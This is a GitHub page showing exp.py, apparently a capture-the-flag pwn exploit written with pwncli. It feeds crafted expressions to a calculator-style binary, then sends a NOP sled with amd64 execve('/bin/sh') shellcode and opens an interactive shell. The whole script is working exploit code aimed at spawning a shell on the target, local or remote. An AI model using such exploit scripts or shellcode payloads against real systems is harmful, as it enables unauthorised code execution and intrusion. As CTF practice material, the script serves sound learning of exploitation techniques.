-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexp.py
executable file
·41 lines (32 loc) · 899 Bytes
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from pwncli import *
cli_script()
# set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
i2b = lambda c : str(c).encode()
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
debugB = lambda : input("\033[1m\033[33m[ATTACH ME]\033[0m")
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
ru(b'Enter your expression:\n')
sl(b"1 18.019771587467915 -")
rl()
sl(b"1 18.019771587467915 -")
rl()
sl(b"1 18.019771587467915 -")
rl()
sl(b"1 18.019771587467915 -")
rl()
sl(b"-")
rl()
sl(b"0")
payload = b"\x90"*0x5e
payload += ShellcodeMall.amd64.execve_bin_sh
s(payload)
ia()